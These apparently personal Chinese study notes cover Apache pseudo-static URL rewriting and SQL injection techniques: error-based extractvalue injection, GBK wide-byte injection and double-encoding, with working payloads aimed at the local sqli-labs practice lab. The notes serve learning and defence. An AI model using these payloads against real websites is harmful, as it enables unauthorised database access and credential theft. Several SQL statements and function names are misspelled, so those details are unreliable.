10.24伪静态页面、报错注入、宽字节注入
伪静态页面的搭建
http://www.test.com/index.php?id=1(容易受到攻击)
http://www.test.com/index.html(静态页面只能展示数据,安全性很高)
http://www.test.com/add_1.html
步骤
Step1:需要开启站点的重写机制,修改配置文件,找到
LoadModule rewrite_module modules/mod_rewrite.so,去掉前面的注释符,然后需要apache支持解析htaccess文件,修改配置文件,找到“AllowOverride None”,将None改为All,重启apache.
Step2:
新建htaccess文件,然后写入“重写规则”
RewriteEngine on
RewriteRule ([0-9]{1,})\.html$ index.php?id=$1//重写规则。([0-9]{1,})$匹配$1的值,\是转义符 html$表示URL中是以html结尾
页面http://127.0.0.1/weijingtai/2-add.html
匹配规则RewriteRule ([0-9]{1,})-([a-zA-Z]{1,})\.html$ index.php?id=$1¶=$2
请求页面为:http://127.0.0.1/weijingtai/index.php?id=2¶=add
报错注入的步骤
Step1:测试注入点
Step2:获取数据库信息(当前数据库)
http://127.0.0.1/sqli-labs-master/Less-5/?id=2' and extractvalue(1,concat(0x7e,(database()),0x7e))%23+
Step3:表名
Select tisinct table_name from information_shcema.tables where table_shcema=database() limit 0,1
Step4:获取指定表中的字段
Step5:获取内容
Select concat (username,’|’password)from users limit 0,1
接下来去解密即可
宽字节注入
mysql_query("SET NAMES 'gbk'");//设置字符集编码
mysql_set_charset("GBK");//设置字符集编码
mysql_reak_escape_string()对参数进行过滤转义,具有类似功能的函数有:addslaches()、mysql_escape_string()(php5.3后废除)、魔术引号(magic_quotes_gpc)模块,针对特殊符号 ‘ “ \ null < > 等
GBK编码:针对汉字的一种编码方式,使用两个字节编码一个汉字
http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%81' union select 1,user(),3%23
Sqlilab32 宽字节
http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%81' union select 1,2,3%23
防御:使用mysql_set_charset(“GBK”);使用mysql_escape_string进行转义
PDO宽字节注入
PDO:连接数据库->设置模版>绑定数据>执行SQL语句
$conn->setAttribute(PDO::ATTR_EMULATE_PREPARES,false);
二次编码注入
浏览器会对from表单中数据进行一次URL编码,到达服务器之后会默认解码
PHP中url解码函数有:urldecode()、rawurldecode()
http头注入